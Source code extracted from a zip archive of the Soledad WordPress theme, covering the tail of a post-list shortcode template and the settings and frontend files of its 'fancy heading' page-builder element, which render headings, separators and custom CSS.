														<?php if ( in_array( 'cat', $post_meta ) ) : ?>
                                                            <div class="cat pcsl-cat">
																<?php penci_category( '', $primary_cat ); ?>
                                                            </div>
														<?php endif; ?>

														<?php if ( in_array( 'title', $post_meta ) ) : ?>
                                                            <div class="pcsl-title">
                                                                <a href="<?php the_permalink(); ?>"<?php if ( $title_length ): echo ' title="' . wp_strip_all_tags( get_the_title() ) . '"'; endif; ?>><?php if ( ! $title_length ) {
																		the_title();
																	} else {
																		echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $title_length, '...' );
																	} ?></a>
                                                            </div>
														<?php endif; ?>

														<?php if ( $settings['cspost_enable'] || ( count( array_intersect( array(
																	'author',
																	'date',
																	'comment',
																	'views',
																	'reading'
																), $post_meta ) ) > 0 ) || ( count( array_intersect( array(
																	'author',
																	'comment',
																	'views',
																	'reading'
																), $post_meta ) ) > 0 ) ) { ?>

															<?php if ( $column == 1 ) { ?>
                                                                <div class="grid-post-box-meta pcsl-meta pcmtf-mt-alt">
																	<?php if ( in_array( 'date', $post_meta ) ) : ?>
                                                                        <span class="sl-date"><?php penci_soledad_time_link( null, $dformat ); ?></span>
																	<?php endif; ?>
                                                                </div>
															<?php } ?>
                                                            <div class="grid-post-box-meta pcsl-meta">
																<?php if ( in_array( 'author', $post_meta ) ) : ?>
                                                                    <span class="sl-date-author author-italic">
																<?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                                                class="url fn n"
                                                                                href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
																</span>
																<?php endif; ?>
																<?php if ( in_array( 'date', $post_meta ) && $column > 1 ) : ?>
                                                                    <span class="sl-date"><?php penci_soledad_time_link( null, $dformat ); ?></span>
																<?php endif; ?>
																<?php if ( in_array( 'comment', $post_meta ) ) : ?>
                                                                    <span class="sl-comment">
															<a href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a>
														</span>
																<?php endif; ?>
																<?php
																if ( in_array( 'views', $post_meta ) ) {
																	echo '<span class="sl-views">';
																	echo penci_get_post_views( get_the_ID() );
																	echo ' ' . penci_get_setting( 'penci_trans_countviews' );
																	echo '</span>';
																}
																?>
																<?php
																$hide_readtime = in_array( 'reading', $post_meta ) ? false : true;
																if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                                                                    <span class="sl-readtime"><?php penci_reading_time(); ?></span>
																<?php endif; ?>
																<?php echo penci_show_custom_meta_fields( [
																	'validator' => $settings['cspost_enable'],
																	'keys'      => $settings['cspost_cpost_meta'],
																	'acf'       => $settings['cspost_cpost_acf_meta'],
																	'label'     => $settings['cspost_cpost_meta_label'],
																	'divider'   => $settings['cspost_cpost_meta_divider'],
																] ); ?>
																<?php do_action( 'penci_extra_meta' ); ?>
                                                            </div>
														<?php } ?>

														<?php if ( 'yes' == $settings['show_excerpt'] && 'side' == $excerpt_pos ) { ?>
                                                            <div class="pcbg-pexcerpt pcsl-pexcerpt">
																<?php penci_the_excerpt( $excerpt_length ); ?>
                                                            </div>
														<?php } ?>
														<?php if ( 'yes' == $settings['show_readmore'] && 'side' == $excerpt_pos ) { ?>
                                                            <div class="pcsl-readmore">
                                                                <a href="<?php the_permalink(); ?>"
                                                                   class="pcsl-readmorebtn pcsl-btns-<?php echo $rmstyle; ?>">
																	<?php echo penci_get_setting( 'penci_trans_read_more' ); ?>
                                                                </a>
                                                            </div>
														<?php } ?>
                                                    </div>

													<?php if ( ( 'yes' == $settings['show_excerpt'] || 'yes' == $settings['show_readmore'] ) && 'below' == $excerpt_pos ) { ?>
                                                        <div class="pcsl-flex-full">
															<?php if ( 'yes' == $settings['show_excerpt'] ) { ?>
                                                                <div class="pcbg-pexcerpt pcsl-pexcerpt">
																	<?php penci_the_excerpt( $excerpt_length ); ?>
                                                                </div>
															<?php } ?>
															<?php if ( 'yes' == $settings['show_readmore'] ) { ?>
                                                                <div class="pcsl-readmore">
                                                                    <a href="<?php the_permalink(); ?>"
                                                                       class="pcsl-readmorebtn pcsl-btns-<?php echo $rmstyle; ?>">
																		<?php echo penci_get_setting( 'penci_trans_read_more' ); ?>
                                                                    </a>
                                                                </div>
															<?php } ?>
                                                        </div>
													<?php } ?>
                                                </div>
                                            </div>
                                        </div>
									<?php endwhile;
									wp_reset_postdata();
									echo penci_get_html_animation_loading( $settings['biggrid_ajax_loading_style'] );
									?>
                                </div>

								<?php
								if ( 'loadmore' == $paging || 'scroll' == $paging ) {
									$button_class = ' penci-ajax-more penci-mtpf-more-click';
									if ( 'scroll' == $paging ):
										$button_class = ' penci-ajax-more penci-mtpf-more-scroll';
									endif;
									?>
                                    <div class="pcbg-paging penci-pagination <?php echo 'pcbg-paging-' . $paging_align . $button_class; ?>">
                                        <a class="penci-ajax-more-button" href="#" aria-label="More Posts"
                                           data-more="<?php echo penci_get_setting( 'penci_trans_load_more_posts' ); ?>"
                                           data-mes="<?php echo penci_get_setting( 'penci_trans_no_more_posts' ); ?>">
                                            <span class="ajax-more-text"><?php echo penci_get_setting( 'penci_trans_load_more_posts' ); ?></span>
                                            <span class="ajaxdot"></span>
											<?php penci_fawesome_icon( 'fas fa-sync' ); ?>
                                        </a>
                                    </div>
								<?php } ?>


                            </div>
							<?php
						} /* End check if query exists posts */
						?>
                    </div>
                </div>
            </div>
        </div>
    </div>
<?php
wp_reset_postdata();

$block_id_css  = '#' . $block_id;
$block_id_css2 = '#' . $block_id;
$css_custom    = Penci_Vc_Helper::get_heading_block_css( $block_id_css, $settings );

if ( $settings['title_color'] ) {
	$css_custom .= $block_id_css2 . ' .pcsl-content .pcsl-title a{ color: ' . esc_attr( $settings['title_color'] ) . '; }';
}
if ( $settings['title_hcolor'] ) {
	$css_custom .= $block_id_css2 . ' .pcsl-content .pcsl-title a:hover{ color: ' . esc_attr( $settings['title_hcolor'] ) . '; }';
}
if ( $settings['date_color'] ) {
	$css_custom .= $block_id_css2 . ' .pcsl-hdate .pcsl-date span{ color: ' . esc_attr( $settings['date_color'] ) . '; }';
}
if ( $settings['meta_color'] ) {
	$css_custom .= $block_id_css2 . ' .grid-post-box-meta span{ color: ' . esc_attr( $settings['ppcount_color'] ) . '; }';
}
if ( $settings['link_color'] ) {
	$css_custom .= $block_id_css2 . ' .grid-post-box-meta span a{ color: ' . esc_attr( $settings['links_color'] ) . '; }';
}
if ( $settings['link_hcolor'] ) {
	$css_custom .= $block_id_css2 . ' .grid-post-box-meta span a:hover{ color: ' . esc_attr( $settings['links_hcolor'] ) . '; }';
}
if ( $settings['excerpt_color'] ) {
	$css_custom .= $block_id_css2 . ' .pcbg-pexcerpt, ' . $block_id_css . ' .pcbg-pexcerpt p{ color: ' . esc_attr( $settings['excerpt_color'] ) . '; }';
}
if ( $settings['title_fize'] ) {
	$css_custom .= penci_extract_responsive_fsize( $block_id_css . ' .pcbg-pexcerpt, ' . $block_id_css . ' .pcbg-pexcerpt p', 'font-size', $settings['title_fize'] );
}
if ( $settings['meta_fize'] ) {
	$css_custom .= penci_extract_responsive_fsize( $block_id_css . ' .grid-post-box-meta span', 'font-size', $settings['meta_fize'] );
}
if ( $settings['date_fize'] ) {
	$css_custom .= penci_extract_responsive_fsize( $block_id_css . ' .pcsl-hdate .pcsl-date span', 'font-size', $settings['meta_fize'] );
}

if ( $settings['responsive_spacing'] ) {
	$css_custom .= penci_extract_spacing_style( $block_id_css, $settings['responsive_spacing'] );
}

$css_custom .= Penci_Vc_Helper::get_bookmark_icon_css( $block_id_css, $atts );

if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     N\KcQ9  Q9  5  inc/js_composer/shortcodes/fancy_heading/settings.phpnu [        <?php
$group_icon  = 'Icon';
$group_color = 'Typo & Color';

vc_map( array(
	'base'          => "penci_fancy_heading",
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Soledad' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/fancy_heading/frontend.php',
	'weight'        => 700,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . __( 'Fancy Heading', 'soledad' ),
	'description'   => 'Fancy Heading Block',
	'controls'      => 'full',
	'params'        => array(
		array(
			'type'       => 'dropdown',
			'heading'    => esc_html__( 'Text Align', 'soledad' ),
			'param_name' => '_text_align',
			'std'        => 'center',
			'value'      => array(
				esc_html__( 'Left', 'soledad' )   => 'left',
				esc_html__( 'Center', 'soledad' ) => 'center',
				esc_html__( 'Right', 'soledad' )  => 'right',
			),
		),
		array(
			'type'       => 'textfield',
			'heading'    => esc_html__( 'Subtitle:', 'soledad' ),
			'param_name' => 'p_subtitle',
		),
		array(
			'type'       => 'dropdown',
			'heading'    => esc_html__( 'Subtitle tag', 'soledad' ),
			'param_name' => 'subtitle_tag',
			'std'        => 'div',
			'value'      => array(
				'h1'   => 'h1',
				'h2'   => 'h2',
				'h3'   => 'h3',
				'h4'   => 'h4',
				'h5'   => 'h5',
				'h6'   => 'h6',
				'span' => 'span',
				'p'    => 'p',
				'div'  => 'div',
			),
		),
		array(
			'type'       => 'dropdown',
			'heading'    => esc_html__( 'Subtitle position', 'soledad' ),
			'param_name' => 'subtitle_pos',
			'std'        => 'above',
			'value'      => array(
				esc_html__( 'Above the title', 'soledad' )     => 'above',
				esc_html__( 'Below the title', 'soledad' )     => 'below',
				esc_html__( 'Below the separator', 'soledad' ) => 'belowline',
			),
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'subtitle_margin_top',
			'heading'    => __( 'Custom margin top for subtitle', 'soledad' ),
			'value'      => '',
			'std'        => '',
			'suffix'     => 'px',
			'min'        => 1,
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'subtitle_margin_bottom',
			'heading'    => __( 'Custom margin bottom for subtitle', 'soledad' ),
			'value'      => '',
			'std'        => '',
			'suffix'     => 'px',
			'min'        => 1,
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'subtitle_width',
			'heading'    => __( 'Custom width for subtitle', 'soledad' ),
			'value'      => '',
			'std'        => '',
			'suffix'     => 'px',
			'min'        => 1,
		),
		array(
			'type'        => 'textfield',
			'heading'     => esc_html__( 'Title:', 'soledad' ),
			'param_name'  => 'p_title',
			'admin_label' => true,
			'value'       => esc_html__( 'This is custom heading element', 'soledad' )
		),
		array(
			'type'       => 'dropdown',
			'heading'    => esc_html__( 'Title tag', 'soledad' ),
			'param_name' => 'title_tag',
			'std'        => 'h2',
			'value'      => array(
				'h1'   => 'h1',
				'h2'   => 'h2',
				'h3'   => 'h3',
				'h4'   => 'h4',
				'h5'   => 'h5',
				'h6'   => 'h6',
				'span' => 'span',
				'p'    => 'p',
				'div'  => 'div',
			),
		),
		array(
			'type'       => 'vc_link',
			'heading'    => esc_html__( 'URL for title', 'js_composer' ),
			'param_name' => 'title_link'
		),
		array(
			'type'        => 'penci_switch',
			'heading'     => __( 'Add Lines on Left & Right of Title?', 'soledad' ),
			'param_name'  => 'add_line',
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		array(
			'type'       => 'penci_slider',
			'heading'    => __( 'Lines Height', 'soledad' ),
			'param_name' => 'lines_height',
			'dependency' => array( 'element' => 'add_line', 'value' => 'yes' ),
		),
		array(
			'type'       => 'penci_slider',
			'heading'    => __( 'Lines Width', 'soledad' ),
			'param_name' => 'lines_width',
			'dependency' => array( 'element' => 'add_line', 'value' => 'yes' ),
		),
		array(
			'type'       => 'penci_slider',
			'heading'    => __( 'Lines Spacing', 'soledad' ),
			'param_name' => 'lines_spacing',
			'dependency' => array( 'element' => 'add_line', 'value' => 'yes' ),
		),
		array(
			'type'        => 'penci_switch',
			'heading'     => __( 'Turn on upppearcase for title', 'soledad' ),
			'param_name'  => 'turn_on_title',
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		array(
			'type'        => 'penci_switch',
			'heading'     => __( 'Use separator', 'soledad' ),
			'param_name'  => '_use_separator',
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		array(
			'type'        => 'dropdown',
			'heading'     => __( 'Style', 'soledad' ),
			'param_name'  => 'separator_style',
			'value'       => array(
				'Border' => 'border',
				'Dashed' => 'dashed',
				'Dotted' => 'dotted',
				'Double' => 'double'
			),
			'std'         => 'border',
			'description' => __( 'Separator display style.', 'soledad' ),
			'dependency'  => array( 'element' => '_use_separator', 'value' => 'yes', ),
		),
		array(
			'type'        => 'penci_switch',
			'heading'     => __( 'Add separator icon?', 'soledad' ),
			'param_name'  => 'add_separator_icon',
			'dependency'  => array( 'element' => 'separator_style', 'value_not_equal_to' => 'double' ),
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'yes',
			'std'         => 'yes',
		),
		array(
			'type'        => 'dropdown',
			'heading'     => __( 'Separator Border width', 'soledad' ),
			'param_name'  => 'separator_border_width',
			'value'       => array(
				'1px'  => '',
				'2px'  => '2',
				'3px'  => '3',
				'4px'  => '4',
				'5px'  => '5',
				'6px'  => '6',
				'7px'  => '7',
				'8px'  => '8',
				'9px'  => '9',
				'10px' => '10',
			),
			'description' => __( 'Select border width (pixels).', 'soledad' ),
			'dependency'  => array( 'element' => '_use_separator', 'value' => 'yes', ),
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'separator_width',
			'heading'    => __( 'Separator width', 'soledad' ),
			'value'      => '',
			'std'        => '',
			'suffix'     => 'px',
			'min'        => 1,
			'dependency' => array( 'element' => '_use_separator', 'value' => 'yes', ),
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'separator_margin_top',
			'heading'    => __( 'Custom margin top for Separator', 'soledad' ),
			'value'      => '',
			'std'        => '',
			'suffix'     => 'px',
			'min'        => 1,
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'content_margin_top',
			'heading'    => __( 'Custom margin top for Content', 'soledad' ),
			'value'      => '',
			'std'        => '',
			'suffix'     => 'px',
			'min'        => 1,
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'content_width',
			'heading'    => __( 'Custom width for Content', 'soledad' ),
			'value'      => '',
			'std'        => '',
			'suffix'     => 'px',
			'min'        => 1,
		),
		array(
			'type'       => 'textarea_html',
			'holder'     => 'div',
			'heading'    => __( 'Content', 'soledad' ),
			'param_name' => 'content',
			'value'      => __( '<p>I am text block. Click edit button to change this text. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Ut elit tellus, luctus nec ullamcorper mattis, pulvinar dapibus leo.</p>', 'soledad' ),
		),
		array(
			'type'        => 'iconpicker',
			'heading'     => __( 'Icon', 'soledad' ),
			'param_name'  => 'p_icon',
			'value'       => 'fas fa-star',
			'settings'    => array(
				'emptyIcon'    => false,
				'iconsPerPage' => 1000,
			),
			'description' => __( 'Select icon from library.', 'soledad' ),
			'group'       => $group_icon,
			'dependency'  => array( 'element' => 'add_separator_icon', 'value' => 'yes', ),
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'icon_size',
			'heading'    => __( 'Size Icon', 'soledad' ),
			'value'      => '',
			'std'        => '',
			'suffix'     => 'px',
			'min'        => 1,
			'group'      => $group_icon,
			'dependency' => array( 'element' => 'add_separator_icon', 'value' => 'yes', ),
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'p_icon_martop',
			'heading'    => __( 'Custom margin top and bottom for Icon', 'soledad' ),
			'value'      => '',
			'std'        => '',
			'suffix'     => 'px',
			'min'        => 1,
			'group'      => $group_icon,
			'dependency' => array( 'element' => 'add_separator_icon', 'value' => 'yes', ),
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'p_icon_marlr',
			'heading'    => __( 'Custom margin right and left for Icon', 'soledad' ),
			'value'      => '',
			'std'        => '',
			'suffix'     => 'px',
			'min'        => 1,
			'group'      => $group_icon,
			'dependency' => array( 'element' => 'add_separator_icon', 'value' => 'yes', ),
		),

		// Color and typo
		array(
			'type'             => 'textfield',
			'param_name'       => '_title_typo_heading',
			'heading'          => esc_html__( 'Title', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Title color', 'soledad' ),
			'param_name'       => 'title_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Title hover color', 'soledad' ),
			'param_name'       => 'title_hcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'       => 'google_fonts',
			'group'      => $group_color,
			'param_name' => '_title_typo',
			'value'      => '',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => '_title_fsize',
			'heading'          => __( 'Font Size for Title', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'title_md_fsize',
			'heading'          => __( 'Font Size for Title on Tablet', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'title_sm_fsize',
			'heading'          => __( 'Font Size for Title on Tablet Small', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'title_xs_fsize',
			'heading'          => __( 'Font Size for Title on Tablet Mobile', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),

		// Typo Sub title
		array(
			'type'             => 'textfield',
			'param_name'       => '_subtitle_typo_heading',
			'heading'          => esc_html__( 'Subtitle Typography', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Subtitle color', 'soledad' ),
			'param_name'       => 'subtitle_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'       => 'google_fonts',
			'group'      => $group_color,
			'param_name' => '_subtitle_typo',
			'value'      => '',
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => '_subtitle_fsize',
			'heading'    => __( 'Font Size for Subtitle', 'soledad' ),
			'value'      => '',
			'std'        => '',
			'suffix'     => 'px',
			'min'        => 1,
			'group'      => $group_color,
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Custom icon color for Separator', 'soledad' ),
			'param_name'       => '_separator_icon_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Custom border color for Separator', 'soledad' ),
			'param_name'       => '_separator_border_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),

		// Description Typography
		array(
			'type'             => 'textfield',
			'param_name'       => '_desc_typo_heading',
			'heading'          => esc_html__( 'Description Typography', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'       => 'colorpicker',
			'heading'    => esc_html__( 'Content color', 'soledad' ),
			'param_name' => '_content_color',
			'group'      => $group_color,
		),
		array(
			'type'       => 'google_fonts',
			'param_name' => '_desc_typo',
			'value'      => '',
			'group'      => $group_color,
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => '_desc_fsize',
			'heading'    => __( 'Font Size for Description', 'soledad' ),
			'value'      => '',
			'std'        => '',
			'suffix'     => 'px',
			'min'        => 1,
			'group'      => $group_color,
		),

		vc_map_add_css_animation(),

		array(
			'type'        => 'textfield',
			'heading'     => esc_html__( 'Extra class name', 'soledad' ),
			'param_name'  => 'el_class',
			'description' => esc_html__( 'Style particular content element differently - add a class name and refer to it in custom CSS.', 'soledad' ),
		),
		array(
			'type'       => 'css_editor',
			'heading'    => __( 'CSS box', 'soledad' ),
			'param_name' => 'css',
			'group'      => __( 'Design Options', 'soledad' ),
		),
		penci_get_vc_responsive_spacing_map(),
	)
) );
PK     N\i*,  ,  5  inc/js_composer/shortcodes/fancy_heading/frontend.phpnu [        <?php
/**
 * Shortcode attributes
 * @var $atts
 * @var $_text_align
 * @var $p_subtitle
 * @var $subtitle_tag
 * @var $subtitle_pos
 * @var $subtitle_margin_top
 * @var $subtitle_margin_bottom
 * @var $subtitle_width
 * @var $p_title
 * @var $title_tag
 * @var $turn_on_title
 * @var $_use_separator
 * @var $separator_style
 * @var $add_separator_icon
 * @var $separator_border_width
 * @var $separator_width
 * @var $separator_margin_top
 * @var $content_margin_top
 * @var $content_width
 * @var $content
 * @var $p_icon
 * @var $icon_size
 * @var $p_icon_martop
 * @var $p_icon_marlr
 * @var $title_color
 * @var $_title_typo
 * @var $_title_fsize
 * @var $title_md_fsize
 * @var $title_sm_fsize
 * @var $title_xs_fsize
 * @var $subtitle_color
 * @var $_subtitle_typo
 * @var $_subtitle_fsize
 * @var $_separator_icon_color
 * @var $_separator_border_color
 * @var $_content_color
 * @var $_desc_typo
 * @var $_desc_fsize
 * @var $css_animation
 * @var $el_class
 * @var $css
 */

$_text_align            = $p_subtitle = $subtitle_tag = $subtitle_pos = '';
$subtitle_margin_top    = $subtitle_margin_bottom = $subtitle_width = $p_title = '';
$title_tag              = $turn_on_title = $_use_separator = $separator_style = $add_separator_icon = '';
$separator_border_width = $separator_width = $separator_margin_top = $content_margin_top = '';
$content_width          = $p_icon = $icon_size = $p_icon_martop = $p_icon_marlr = '';
$title_color            = $_title_typo = $_title_fsize = $title_md_fsize = $title_sm_fsize = $title_xs_fsize = '';
$subtitle_color         = $_subtitle_typo = $_subtitle_fsize = $_separator_icon_color = $_separator_border_color = '';
$_content_color         = $_desc_typo = $_desc_fsize = $el_class = $css_animation = $css = '';
$title_link             = $responsive_spacing = '';

$atts = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

$class_to_filter = '';
$class_to_filter .= vc_shortcode_custom_css_class( $css, ' ' ) . $this->getExtraClass( $el_class ) . $this->getCSSAnimation( $css_animation );

$css_class = 'penci-fancy-heading penci-heading-text-' . $_text_align;
$css_class .= ' ' . apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, $class_to_filter, $this->settings['base'], $atts );


$block_id = Penci_Vc_Helper::get_unique_id_block( 'fancy_heading' );
?>
<div id="<?php echo esc_attr( $block_id ); ?>" class="<?php echo esc_attr( $css_class ); ?>">
    <div class="penci-fancy-heading-inner">
		<?php
		$markup_subtitle = '';
		if ( $p_subtitle ) {
			$markup_subtitle = '<' . esc_attr( $subtitle_tag ) . ' class="penci-heading-subtitle">' . $p_subtitle . '</' . esc_attr( $subtitle_tag ) . '>';
		}

		if ( $markup_subtitle && 'above' == $subtitle_pos ) {
			echo $markup_subtitle;
		}

		if ( $p_title ) {

			$p_title_link = $p_title;
			if ( ! empty( $title_link ) ) {
				$_title_link  = vc_build_link( $title_link );
				$p_title_link = '<a href="' . esc_url( $_title_link['url'] ) . '"' . ( $_title_link['target'] ? ' target="' . esc_attr( $_title_link['target'] ) . '"' : '' ) . ( $_title_link['rel'] ? ' rel="' . esc_attr( $_title_link['rel'] ) . '"' : '' ) . '>' . $p_title . '</a>';
			}

			echo '<' . esc_attr( $title_tag ) . ' class="penci-heading-title">' . $p_title_link . '</' . esc_attr( $title_tag ) . '>';
		}
		if ( $markup_subtitle && 'below' == $subtitle_pos ) {
			echo $markup_subtitle;
		}

		if ( 'yes' == $_use_separator ) {
			echo '<div class="penci-separator penci-separator-' . esc_attr( $separator_style ) . ' penci-separator-' . $_text_align . '">';
			echo '<span class="penci-sep_holder penci-sep_holder_l"><span class="penci-sep_line"></span></span>';

			if ( 'yes' == $add_separator_icon ) {
				echo '<span class="penci-heading-icon ' . esc_attr( $p_icon ? $p_icon : 'fa fa-adjust' ) . '"></span>';
			}

			echo '<span class="penci-sep_holder penci-sep_holder_r"><span class="penci-sep_line"></span></span>';
			echo '</div>';
		}

		if ( $markup_subtitle && 'belowline' == $subtitle_pos ) {
			echo $markup_subtitle;
		}

		if ( $content ) {
			$content = wpautop( preg_replace( '/<\/?p\>/', "\n", $content ) . "\n" );
			$content = do_shortcode( shortcode_unautop( $content ) );

			echo '<div class="penci-heading-content entry-content">' . $content . '</div>';
		}
		?>
    </div>
	<?php
	$id_fancy_heading = '#' . $block_id;
	$id_fancy_heading2 = 'body:not(.pcdm-enable) #' . $block_id;
	$css_custom       = '';

	// Margin
	if ( $subtitle_margin_top ) {
		$css_custom .= $id_fancy_heading . '.penci-fancy-heading .penci-heading-subtitle{ margin-top: ' . esc_attr( $subtitle_margin_top ) . '; }';
	}
	if ( $subtitle_margin_bottom ) {
		$css_custom .= $id_fancy_heading . '.penci-fancy-heading .penci-heading-subtitle{ margin-bottom: ' . esc_attr( $subtitle_margin_bottom ) . '; }';
	}

	if ( $subtitle_width ) {
		$css_custom .= $id_fancy_heading . '.penci-fancy-heading .penci-heading-subtitle{ max-width: ' . esc_attr( $subtitle_width ) . '; }';
	}

	if ( $separator_margin_top ) {
		$css_custom .= $id_fancy_heading . ' .penci-separator{ margin-top: ' . esc_attr( $separator_margin_top ) . '; }';
	}

	if ( $content_margin_top ) {
		$css_custom .= $id_fancy_heading . '.penci-fancy-heading .penci-heading-content{ margin-top: ' . esc_attr( $content_margin_top ) . '; }';
	}
	$css_custom .= $id_fancy_heading . '.penci-fancy-heading .penci-heading-content{ margin-bottom: 0; }';

	if ( $content_width ) {
		$css_custom .= $id_fancy_heading . '.penci-fancy-heading .penci-heading-content{ max-width: ' . esc_attr( $content_width ) . ';width: 100%; }';
	}

	if ( $separator_width ) {
		$css_custom .= $id_fancy_heading . ' .penci-separator{ width: ' . esc_attr( $separator_width ) . '; }';
	}

	if ( $atts['separator_border_width'] && $atts['separator_border_width'] > 1 ) {
		$css_custom .= $id_fancy_heading . ' .penci-separator .penci-sep_line{ border-width: ' . esc_attr( $atts['separator_border_width'] ) . 'px; top: -' . ( intval( $atts['separator_border_width'] ) / 2 ) . 'px; }';

		if ( 'double' == $atts['separator_style'] ) {
			$height_separator_pre = ( intval( $atts['separator_border_width'] ) * 2 ) + 4;
			$css_custom           .= $id_fancy_heading . ' .penci-separator.penci-separator-double{ height: ' . $height_separator_pre . 'px;}';
			$css_custom           .= $id_fancy_heading . ' .penci-separator.penci-separator-double:before,' . $id_fancy_heading . ' .penci-separator.penci-separator-double:after{ border-top-width: ' . esc_attr( $atts['separator_border_width'] ) . 'px;}';
		}
	}

	if ( $atts['separator_style'] ) {
		$css_custom .= $id_fancy_heading . ' .penci-separator .penci-sep_line{ border-top-style: ' . esc_attr( $atts['separator_style'] ) . '; }';
	}

	// Color
	if ( 'yes' == $atts['turn_on_title'] ) {
		$css_custom .= $id_fancy_heading . '.penci-fancy-heading .penci-heading-title{ text-transform: uppercase; }';
	}

	if ( $atts['title_color'] ) {
		$css_custom .= $id_fancy_heading2 . '.penci-fancy-heading .penci-heading-title a,';
		$css_custom .= $id_fancy_heading2 . '.penci-fancy-heading .penci-heading-title{ color: ' . esc_attr( $atts['title_color'] ) . '; }';
	}
	if ( $atts['title_hcolor'] ) {
		$css_custom .= $id_fancy_heading2 . '.penci-fancy-heading .penci-heading-title a:hover{ color: ' . esc_attr( $atts['title_hcolor'] ) . '; }';
	}

	if ( $atts['subtitle_color'] ) {
		$css_custom .= $id_fancy_heading2 . '.penci-fancy-heading .penci-heading-subtitle{ color: ' . esc_attr( $atts['subtitle_color'] ) . '; }';
	}
	if ( $atts['_content_color'] ) {
		$css_custom .= $id_fancy_heading2 . '.penci-fancy-heading .penci-heading-content{ color: ' . esc_attr( $atts['_content_color'] ) . '; }';
	}
	if ( $atts['_separator_border_color'] ) {
		$css_custom .= $id_fancy_heading2 . ' .penci-separator .penci-sep_line{ border-color: ' . esc_attr( $atts['_separator_border_color'] ) . '; }';
		$css_custom .= $id_fancy_heading2 . ' .penci-separator.penci-separator-double:before,' . $id_fancy_heading . ' .penci-separator.penci-separator-double:after{ border-color: ' . esc_attr( $atts['_separator_border_color'] ) . '; }';
	}

	// Icon
	$css_custom_icon = '';
	if ( $atts['icon_size'] ) {
		$css_custom_icon .= 'font-size: ' . esc_attr( $atts['icon_size'] ) . ';';
	}

	if ( $atts['p_icon_martop'] ) {
		$css_custom_icon .= 'margin-top: ' . esc_attr( $atts['p_icon_martop'] ) . '; margin-bottom: ' . esc_attr( $atts['p_icon_martop'] ) . ';';
	}

	if ( $atts['p_icon_marlr'] ) {
		$css_custom_icon .= 'margin-left: ' . esc_attr( $atts['p_icon_marlr'] ) . '; margin-right: ' . esc_attr( $atts['p_icon_marlr'] ) . ';';
	}

	if ( $atts['_separator_icon_color'] ) {
		$css_custom_icon .= 'color: ' . esc_attr( $atts['_separator_icon_color'] ) . ';';
	}

	if ( $css_custom_icon ) {
		$css_custom .= $id_fancy_heading . ' .penci-separator .penci-heading-icon{ ' . ( $css_custom_icon ) . ' }';
	}

